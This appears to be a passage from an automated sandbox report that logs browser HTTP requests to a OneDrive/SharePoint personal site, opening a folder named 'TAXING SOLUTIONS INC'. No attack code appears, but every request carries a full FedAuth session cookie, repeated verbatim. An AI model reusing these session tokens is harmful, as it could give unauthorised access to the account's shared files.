Source: global traffic	HTTP traffic detected: GET /_layouts/15/images/BLANK.gif HTTP/1.1Host: lsscleancom-my.sharepoint.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://lsscleancom-my.sharepoint.com/personal/kenlo_lssclean_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fkenlo%5Flssclean%5Fcom%2FDocuments%2FTAXING%20SOLUTIONS%20INC&ga=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2EyOGQ0ZGNiZjA3MGQwOTZjMWRjZTQ5N2U3N2M1NjM5MjE0MDNkNWM5MGUzMzAwZjYyMjY4NTE0YjZiOGVmNDcsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYTI4ZDRkY2JmMDcwZDA5NmMxZGNlNDk3ZTc3YzU2MzkyMTQwM2Q1YzkwZTMzMDBmNjIyNjg1MTRiNmI4ZWY0NywxMzM4MjA1NTg0OTAwMDAwMDAsMCwxMzM4MjE0MTk1MDAzODE1NDUsMC4wLjAuMCwyNTgsMzM2ZDIxYTgtZTRiMy00NDRiLTg0ZjAtNGFhOTJjM2ViN2MwLCwsNGZjM2YyNmItOTU3NS00MWVmLTkxMTgtYmNkOWY1ZDlhZjVjLDRmYzNmMjZiLTk1NzUtNDFlZi05MTE4LWJjZDlmNWQ5YWY1YyxTUmJLSlVHK3ZrbTVXKy9aSGY5bnVBLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQwNDQsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGZBYzlYMzBBS015STFXVWtRQnY4dUdFcnllayxsSGpmUnljRUM3ZVpxVHJZZmhzWEdleEYzbytLeEZEdlhQNGp4UHl6ZUtNQnVxb2g4S3paMzNhMkJ6b3p3TWdDS0MvRGxFa1JabnRTUXpEaXdublNOYS9qT0RRUVhWSmRuS0tDTVhBUjI1TEJqWFRraVR2dFg0SHh5ZTV0d3RDRGhjNWw0SFkzU09BTEZSTXVraTdJaGJ3QmN6VWZNRjNHVmZFTFkzc3JkNXdwbVlmTHFSc011cXpSd3Nma09naFN5YkROM3FQbFN4cmZVUER0YVhwTC9iVXRLalkrSUJNRVBFSDBRVWhpZzlKK3hyZjRYUHhaenJLcFRQUkd6YVkxbGowZGtGNTNUcmNRSTBoRVFGQ2lpY1Y2WENURFFQZ3JTV3dKcDdmaFpHK2xEczZaeFNpZ0lUakU0ZkdJd2VlNVd5cGZubVlZUzVBWXRUb21UQ0hUVVE9PTwvU1A+
Source: global traffic	HTTP traffic detected: GET /_layouts/15/images/BLANK.gif HTTP/1.1Host: lsscleancom-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2EyOGQ0ZGNiZjA3MGQwOTZjMWRjZTQ5N2U3N2M1NjM5MjE0MDNkNWM5MGUzMzAwZjYyMjY4NTE0YjZiOGVmNDcsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYTI4ZDRkY2JmMDcwZDA5NmMxZGNlNDk3ZTc3YzU2MzkyMTQwM2Q1YzkwZTMzMDBmNjIyNjg1MTRiNmI4ZWY0NywxMzM4MjA1NTg0OTAwMDAwMDAsMCwxMzM4MjE0MTk1MDAzODE1NDUsMC4wLjAuMCwyNTgsMzM2ZDIxYTgtZTRiMy00NDRiLTg0ZjAtNGFhOTJjM2ViN2MwLCwsNGZjM2YyNmItOTU3NS00MWVmLTkxMTgtYmNkOWY1ZDlhZjVjLDRmYzNmMjZiLTk1NzUtNDFlZi05MTE4LWJjZDlmNWQ5YWY1YyxTUmJLSlVHK3ZrbTVXKy9aSGY5bnVBLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQwNDQsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGZBYzlYMzBBS015STFXVWtRQnY4dUdFcnllayxsSGpmUnljRUM3ZVpxVHJZZmhzWEdleEYzbytLeEZEdlhQNGp4UHl6ZUtNQnVxb2g4S3paMzNhMkJ6b3p3TWdDS0MvRGxFa1JabnRTUXpEaXdublNOYS9qT0RRUVhWSmRuS0tDTVhBUjI1TEJqWFRraVR2dFg0SHh5ZTV0d3RDRGhjNWw0SFkzU09BTEZSTXVraTdJaGJ3QmN6VWZNRjNHVmZFTFkzc3JkNXdwbVlmTHFSc011cXpSd3Nma09naFN5YkROM3FQbFN4cmZVUER0YVhwTC9iVXRLalkrSUJNRVBFSDBRVWhpZzlKK3hyZjRYUHhaenJLcFRQUkd6YVkxbGowZGtGNTNUcmNRSTBoRVFGQ2lpY1Y2WENURFFQZ3JTV3dKcDdmaFpHK2xEczZaeFNpZ0lUakU0ZkdJd2VlNVd5cGZubVlZUzVBWXRUb21UQ0hUVVE9PTwvU1A+; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /personal/kenlo_lssclean_com/_layouts/15/serviceworkerproxy.aspx?serviceWorkerUrl=https%3A%2F%2Fres-1.cdn.office.net%2Ffiles%2Fodsp-web-prod_2025-01-10.005%2Fodspwebworkers%2Fen-us%2Fspartanlistpostpltworker.js HTTP/1.1Host: lsscleancom-my.sharepoint.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://lsscleancom-my.sharepoint.com/personal/kenlo_lssclean_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fkenlo%5Flssclean%5Fcom%2FDocuments%2FTAXING%20SOLUTIONS%20INC&ga=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2EyOGQ0ZGNiZjA3MGQwOTZjMWRjZTQ5N2U3N2M1NjM5MjE0MDNkNWM5MGUzMzAwZjYyMjY4NTE0YjZiOGVmNDcsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYTI4ZDRkY2JmMDcwZDA5NmMxZGNlNDk3ZTc3YzU2MzkyMTQwM2Q1YzkwZTMzMDBmNjIyNjg1MTRiNmI4ZWY0NywxMzM4MjA1NTg0OTAwMDAwMDAsMCwxMzM4MjE0MTk1MDAzODE1NDUsMC4wLjAuMCwyNTgsMzM2ZDIxYTgtZTRiMy00NDRiLTg0ZjAtNGFhOTJjM2ViN2MwLCwsNGZjM2YyNmItOTU3NS00MWVmLTkxMTgtYmNkOWY1ZDlhZjVjLDRmYzNmMjZiLTk1NzUtNDFlZi05MTE4LWJjZDlmNWQ5YWY1YyxTUmJLSlVHK3ZrbTVXKy9aSGY5bnVBLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQwNDQsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGZBYzlYMzBBS015STFXVWtRQnY4dUdFcnllayxsSGpmUnljRUM3ZVpxVHJZZmhzWEdleEYzbytLeEZEdlhQNGp4UHl6ZUtNQnVxb2g4S3paMzNhMkJ6b3p3TWdDS0MvRGxFa1JabnRTUXpEaXdublNOYS9qT0RRUVhWSmRuS0tDTVhBUjI1TEJqWFRraVR2dFg0SHh5ZTV0d3RDRGhjNWw0SFkzU09BTEZSTXVraTdJaGJ3QmN6VWZNRjNHVmZFTFkzc3JkNXdwbVlmTHFSc011cXpSd3Nma09naFN5YkROM3FQbFN4cmZVUER0YVhwTC9iVXRLalkrSUJNRVBFSDBRVWhpZzlKK3hyZjRYUHhaenJLcFRQUkd6YVkxbGowZGtGNTNUcmNRSTBoRVFGQ2lpY1Y2WENURFFQZ3JTV3dKcDdmaFpHK2xEczZaeFNpZ0lUakU0ZkdJd2VlNVd5cGZubVlZUzVBWXRUb21UQ0hUVVE9PTwvU1A+; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /personal/kenlo_lssclean_com/_api/web/GetListUsingPath(DecodedUrl=@a1)/RenderListDataAsStream?@a1=%27%2Fpersonal%2Fkenlo%5Flssclean%5Fcom%2FDocuments%27&RootFolder=%2Fpersonal%2Fkenlo%5Flssclean%5Fcom%2FDocuments%2FTAXING%20SOLUTIONS%20INC&TryNewExperienceSingle=TRUE HTTP/1.1Host: lsscleancom-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2EyOGQ0ZGNiZjA3MGQwOTZjMWRjZTQ5N2U3N2M1NjM5MjE0MDNkNWM5MGUzMzAwZjYyMjY4NTE0YjZiOGVmNDcsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYTI4ZDRkY2JmMDcwZDA5NmMxZGNlNDk3ZTc3YzU2MzkyMTQwM2Q1YzkwZTMzMDBmNjIyNjg1MTRiNmI4ZWY0NywxMzM4MjA1NTg0OTAwMDAwMDAsMCwxMzM4MjE0MTk1MDAzODE1NDUsMC4wLjAuMCwyNTgsMzM2ZDIxYTgtZTRiMy00NDRiLTg0ZjAtNGFhOTJjM2ViN2MwLCwsNGZjM2YyNmItOTU3NS00MWVmLTkxMTgtYmNkOWY1ZDlhZjVjLDRmYzNmMjZiLTk1NzUtNDFlZi05MTE4LWJjZDlmNWQ5YWY1YyxTUmJLSlVHK3ZrbTVXKy9aSGY5bnVBLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQwNDQsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGZBYzlYMzBBS015STFXVWtRQnY4dUdFcnllayxsSGpmUnljRUM3ZVpxVHJZZmhzWEdleEYzbytLeEZEdlhQNGp4UHl6ZUtNQnVxb2g4S3paMzNhMkJ6b3p3TWdDS0MvRGxFa1JabnRTUXpEaXdublNOYS9qT0RRUVhWSmRuS0tDTVhBUjI1TEJqWFRraVR2dFg0SHh5ZTV0d3RDRGhjNWw0SFkzU09BTEZSTXVraTdJaGJ3QmN6VWZNRjNHVmZFTFkzc3JkNXdwbVlmTHFSc011cXpSd3Nma09naFN5YkROM3FQbFN4cmZVUER0YVhwTC9iVXRLalkrSUJNRVBFSDBRVWhpZzlKK3hyZjRYUHhaenJLcFRQUkd6YVkxbGowZGtGNTNUcmNRSTBoRVFGQ2lpY1Y2WENURFFQZ3JTV3dKcDdmaFpHK2xEczZaeFNpZ0lUakU0ZkdJd2VlNVd5cGZubVlZUzVBWXRUb21UQ0hUVVE9PTwvU1A+; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /personal/kenlo_lssclean_com/_layouts/15/serviceworkerproxy.aspx?serviceWorkerUrl=https%3A%2F%2Fres-1.cdn.office.net%2Ffiles%2Fodsp-web-prod_2025-01-10.005%2Fodspwebworkers%2Fen-us%2Fspartanlistpostpltworker.js HTTP/1.1Host: lsscleancom-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2EyOGQ0ZGNiZjA3MGQwOTZjMWRjZTQ5N2U3N2M1NjM5MjE0MDNkNWM5MGUzMzAwZjYyMjY4NTE0YjZiOGVmNDcsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYTI4ZDRkY2JmMDcwZDA5NmMxZGNlNDk3ZTc3YzU2MzkyMTQwM2Q1YzkwZTMzMDBmNjIyNjg1MTRiNmI4ZWY0NywxMzM4MjA1NTg0OTAwMDAwMDAsMCwxMzM4MjE0MTk1MDAzODE1NDUsMC4wLjAuMCwyNTgsMzM2ZDIxYTgtZTRiMy00NDRiLTg0ZjAtNGFhOTJjM2ViN2MwLCwsNGZjM2YyNmItOTU3NS00MWVmLTkxMTgtYmNkOWY1ZDlhZjVjLDRmYzNmMjZiLTk1NzUtNDFlZi05MTE4LWJjZDlmNWQ5YWY1YyxTUmJLSlVHK3ZrbTVXKy9aSGY5bnVBLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQwNDQsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGZBYzlYMzBBS015STFXVWtRQnY4dUdFcnllayxsSGpmUnljRUM3ZVpxVHJZZmhzWEdleEYzbytLeEZEdlhQNGp4UHl6ZUtNQnVxb2g4S3paMzNhMkJ6b3p3TWdDS0MvRGxFa1JabnRTUXpEaXdublNOYS9qT0RRUVhWSmRuS0tDTVhBUjI1TEJqWFRraVR2dFg0SHh5ZTV0d3RDRGhjNWw0SFkzU09BTEZSTXVraTdJaGJ3QmN6VWZNRjNHVmZFTFkzc3JkNXdwbVlmTHFSc011cXpSd3Nma09naFN5YkROM3FQbFN4cmZVUER0YVhwTC9iVXRLalkrSUJNRVBFSDBRVWhpZzlKK3hyZjRYUHhaenJLcFRQUkd6YVkxbGowZGtGNTNUcmNRSTBoRVFGQ2lpY1Y2WENURFFQZ3JTV3dKcDdmaFpHK2xEczZaeFNpZ0lUakU0ZkdJd2VlNVd5cGZubVlZUzVBWXRUb21UQ0hUVVE9PTwvU1A+; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /personal/kenlo_lssclean_com/_api/web/GetListUsingPath(DecodedUrl=@a1)/RenderListDataAsStream?@a1=%27%2Fpersonal%2Fkenlo%5Flssclean%5Fcom%2FDocuments%27&TryNewExperienceSingle=TRUE HTTP/1.1Host: lsscleancom-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2EyOGQ0ZGNiZjA3MGQwOTZjMWRjZTQ5N2U3N2M1NjM5MjE0MDNkNWM5MGUzMzAwZjYyMjY4NTE0YjZiOGVmNDcsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYTI4ZDRkY2JmMDcwZDA5NmMxZGNlNDk3ZTc3YzU2MzkyMTQwM2Q1YzkwZTMzMDBmNjIyNjg1MTRiNmI4ZWY0NywxMzM4MjA1NTg0OTAwMDAwMDAsMCwxMzM4MjE0MTk1MDAzODE1NDUsMC4wLjAuMCwyNTgsMzM2ZDIxYTgtZTRiMy00NDRiLTg0ZjAtNGFhOTJjM2ViN2MwLCwsNGZjM2YyNmItOTU3NS00MWVmLTkxMTgtYmNkOWY1ZDlhZjVjLDRmYzNmMjZiLTk1NzUtNDFlZi05MTE4LWJjZDlmNWQ5YWY1YyxTUmJLSlVHK3ZrbTVXKy9aSGY5bnVBLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQwNDQsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGZBYzlYMzBBS015STFXVWtRQnY4dUdFcnllayxsSGpmUnljRUM3ZVpxVHJZZmhzWEdleEYzbytLeEZEdlhQNGp4UHl6ZUtNQnVxb2g4S3paMzNhMkJ6b3p3TWdDS0MvRGxFa1JabnRTUXpEaXdublNOYS9qT0RRUVhWSmRuS0tDTVhBUjI1TEJqWFRraVR2dFg0SHh5ZTV0d3RDRGhjNWw0SFkzU09BTEZSTXVraTdJaGJ3QmN6VWZNRjNHVmZFTFkzc3JkNXdwbVlmTHFSc011cXpSd3Nma09naFN5YkROM3FQbFN4cmZVUER0YVhwTC9iVXRLalkrSUJNRVBFSDBRVWhpZzlKK3hyZjRYUHhaenJLcFRQUkd6YVkxbGowZGtGNTNUcmNRSTBoRVFGQ2lpY1Y2WENURFFQZ3JTV3dKcDdmaFpHK2xEczZaeFNpZ0lUakU0ZkdJd2VlNVd5cGZubVlZUzVBWXRUb21UQ0hUVVE9PTwvU1A+; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /personal/kenlo_lssclean_com/_api/v2.0/sites/%7Be25a369b-8b67-4144-92cc-078b33ca588d%7D/lists/%7Ba0f66fd2-eb87-4b9d-ae3a-8766a967ac4e%7D/items/delta?token=latest HTTP/1.1Host: lsscleancom-my.sharepoint.comConnection: keep-aliveX-RestrictedReadCapabilities: ForceCheckOut,RequiredColumn,ContentApproval,Irm,ExcludeFromOfflineClient,DocumentParser,DraftItemSecurity,ItemLevelPermissionsUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/json;odata=verboseAccept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: emptyReferer: https://lsscleancom-my.sharepoint.com/personal/kenlo_lssclean_com/_layouts/15/serviceworkerproxy.aspx?serviceWorkerUrl=https%3A%2F%2Fres-1.cdn.office.net%2Ffiles%2Fodsp-web-prod_2025-01-10.005%2Fodspwebworkers%2Fen-us%2Fspartanlistpostpltworker.jsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2EyOGQ0ZGNiZjA3MGQwOTZjMWRjZTQ5N2U3N2M1NjM5MjE0MDNkNWM5MGUzMzAwZjYyMjY4NTE0YjZiOGVmNDcsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYTI4ZDRkY2JmMDcwZDA5NmMxZGNlNDk3ZTc3YzU2MzkyMTQwM2Q1YzkwZTMzMDBmNjIyNjg1MTRiNmI4ZWY0NywxMzM4MjA1NTg0OTAwMDAwMDAsMCwxMzM4MjE0MTk1MDAzODE1NDUsMC4wLjAuMCwyNTgsMzM2ZDIxYTgtZTRiMy00NDRiLTg0ZjAtNGFhOTJjM2ViN2MwLCwsNGZjM2YyNmItOTU3NS00MWVmLTkxMTgtYmNkOWY1ZDlhZjVjLDRmYzNmMjZiLTk1NzUtNDFlZi05MTE4LWJjZDlmNWQ5YWY1YyxTUmJLSlVHK3ZrbTVXKy9aSGY5bnVBLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQwNDQsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGZBYzlYMzBBS015STFXVWtRQnY4dUdFcnllayxsSGpmUnljRUM3ZVpxVHJZZmhzWEdleEYzbytLeEZEdlhQNGp4UHl6ZUtNQnVxb2g4S3paMzNhMkJ6b3p3TWdDS0MvRGxFa1JabnRTUXpEaXdublNOYS9qT0RRUVhWSmRuS0tDTVhBUjI1TEJqWFRraVR2dFg0SHh5ZTV0d3RDRGhjNWw0SFkzU09BTEZSTXVraTdJaGJ3QmN6VWZNRjNHVmZFTFkzc3JkNXdwbVlmTHFSc011cXpSd3Nma09naFN5YkROM3FQbFN4cmZVUER0YVhwTC9iVXRLalkrSUJNRVBFSDBRVWhpZzlKK3hyZjRYUHhaenJLcFRQUkd6YVkxbGowZGtGNTNUcmNRSTBoRVFGQ2lpY1Y2WENURFFQZ3JTV3dKcDdmaFpHK2xEczZaeFNpZ0lUakU0ZkdJd2VlNVd5cGZubVlZUzVBWXRUb21UQ0hUVVE9PTwvU1A+; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /personal/kenlo_lssclean_com/_api/v2.0/sites/root/lists/%7Ba0f66fd2-eb87-4b9d-ae3a-8766a967ac4e%7D/subscriptions/socketIo?listItemIds= HTTP/1.1Host: lsscleancom-my.sharepoint.comConnection: keep-alivePrefer: NotificationSessionUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/json;odata=verboseAccept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: emptyReferer: https://lsscleancom-my.sharepoint.com/personal/kenlo_lssclean_com/_layouts/15/serviceworkerproxy.aspx?serviceWorkerUrl=https%3A%2F%2Fres-1.cdn.office.net%2Ffiles%2Fodsp-web-prod_2025-01-10.005%2Fodspwebworkers%2Fen-us%2Fspartanlistpostpltworker.jsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2EyOGQ0ZGNiZjA3MGQwOTZjMWRjZTQ5N2U3N2M1NjM5MjE0MDNkNWM5MGUzMzAwZjYyMjY4NTE0YjZiOGVmNDcsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYTI4ZDRkY2JmMDcwZDA5NmMxZGNlNDk3ZTc3YzU2MzkyMTQwM2Q1YzkwZTMzMDBmNjIyNjg1MTRiNmI4ZWY0NywxMzM4MjA1NTg0OTAwMDAwMDAsMCwxMzM4MjE0MTk1MDAzODE1NDUsMC4wLjAuMCwyNTgsMzM2ZDIxYTgtZTRiMy00NDRiLTg0ZjAtNGFhOTJjM2ViN2MwLCwsNGZjM2YyNmItOTU3NS00MWVmLTkxMTgtYmNkOWY1ZDlhZjVjLDRmYzNmMjZiLTk1NzUtNDFlZi05MTE4LWJjZDlmNWQ5YWY1YyxTUmJLSlVHK3ZrbTVXKy9aSGY5bnVBLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQwNDQsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGZBYzlYMzBBS015STFXVWtRQnY4dUdFcnllayxsSGpmUnljRUM3ZVpxVHJZZmhzWEdleEYzbytLeEZEdlhQNGp4UHl6ZUtNQnVxb2g4S3paMzNhMkJ6b3p3TWdDS0MvRGxFa1JabnRTUXpEaXdublNOYS9qT0RRUVhWSmRuS0tDTVhBUjI1TEJqWFRraVR2dFg0SHh5ZTV0d3RDRGhjNWw0SFkzU09BTEZSTXVraTdJaGJ3QmN6VWZNRjNHVmZFTFkzc3JkNXdwbVlmTHFSc011cXpSd3Nma09naFN5YkROM3FQbFN4cmZVUER0YVhwTC9iVXRLalkrSUJNRVBFSDBRVWhpZzlKK3hyZjRYUHhaenJLcFRQUkd6YVkxbGowZGtGNTNUcmNRSTBoRVFGQ2lpY1Y2WENURFFQZ3JTV3dKcDdmaFpHK2xEczZaeFNpZ0lUakU0ZkdJd2VlNVd5cGZubVlZUzVBWXRUb21UQ0hUVVE9PTwvU1A+; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /_layouts/15/odspserviceworkerproxy.aspx?swManifestName=spserviceworker&debug=false&bypass=false&navigationPreloadHeaderValue=%7B%22supportsFeatures%22%3A%5B1855%2C61313%5D%7D&dataHost=Nucleus&applications=%5B%7B%22id%22%3A%22STS%22%2C%22swPrefetchManifestName%22%3A%22stsserviceworkerprefetch%22%7D%2C%7B%22id%22%3A%22SPHome%22%7D%2C%7B%22id%22%3A%22SitePages%22%7D%2C%7B%22id%22%3A%22Embed%22%7D%2C%7B%22id%22%3A%22CreateGroup%22%7D%2C%7B%22id%22%3A%22SingleWebPart%22%7D%2C%7B%22id%22%3A%22VivaHome%22%7D%2C%7B%22id%22%3A%22BrokerLogon%22%7D%2C%7B%22id%22%3A%22Clipchamp%22%7D%2C%7B%22id%22%3A%22MeeBridge%22%7D%2C%7B%22id%22%3A%22SPStart%22%7D%2C%7B%22id%22%3A%22Agreements%22%7D%5D&list=v2&prefetchListData=true&defaultBrotli=true&authenticateFast=true&inlineAuth=v2&wwData=true&prefetchFilebrowserPageInTeams=true&FUIV9Flights=[-83099905,3]&spStartApplicationWebBundle=true&enableIntegrities=true&spartanOneDriveWireframe=true&streamViewServerLoad=true&streamInlineScript=true&listhandler=v2 HTTP/1.1Host: lsscleancom-my.sharepoint.comConnection: keep-aliveCache-Control: max-age=0Accept: */*Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://lsscleancom-my.sharepoint.com/personal/kenlo_lssclean_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fkenlo%5Flssclean%5Fcom%2FDocuments%2FTAXING%20SOLUTIONS%20INC&ga=1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2EyOGQ0ZGNiZjA3MGQwOTZjMWRjZTQ5N2U3N2M1NjM5MjE0MDNkNWM5MGUzMzAwZjYyMjY4NTE0YjZiOGVmNDcsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYTI4ZDRkY2JmMDcwZDA5NmMxZGNlNDk3ZTc3YzU2MzkyMTQwM2Q1YzkwZTMzMDBmNjIyNjg1MTRiNmI4ZWY0NywxMzM4MjA1NTg0OTAwMDAwMDAsMCwxMzM4MjE0MTk1MDAzODE1NDUsMC4wLjAuMCwyNTgsMzM2ZDIxYTgtZTRiMy00NDRiLTg0ZjAtNGFhOTJjM2ViN2MwLCwsNGZjM2YyNmItOTU3NS00MWVmLTkxMTgtYmNkOWY1ZDlhZjVjLDRmYzNmMjZiLTk1NzUtNDFlZi05MTE4LWJjZDlmNWQ5YWY1YyxTUmJLSlVHK3ZrbTVXKy9aSGY5bnVBLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQwNDQsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGZBYzlYMzBBS015STFXVWtRQnY4dUdFcnllayxsSGpmUnljRUM3ZVpxVHJZZmhzWEdleEYzbytLeEZEdlhQNGp4UHl6ZUtNQnVxb2g4S3paMzNhMkJ6b3p3TWdDS0MvRGxFa1JabnRTUXpEaXdublNOYS9qT0RRUVhWSmRuS0tDTVhBUjI1TEJqWFRraVR2dFg0SHh5ZTV0d3RDRGhjNWw0SFkzU09BTEZSTXVraTdJaGJ3QmN6VWZNRjNHVmZFTFkzc3JkNXdwbVlmTHFSc011cXpSd3Nma09naFN5YkROM3FQbFN4cmZVUER0YVhwTC9iVXRLalkrSUJNRVBFSDBRVWhpZzlKK3hyZjRYUHhaenJLcFRQUkd6YVkxbGowZGtGNTNUcmNRSTBoRVFGQ2lpY1Y2WENURFFQZ3JTV3dKcDdmaFpHK2xEczZaeFNpZ0lUakU0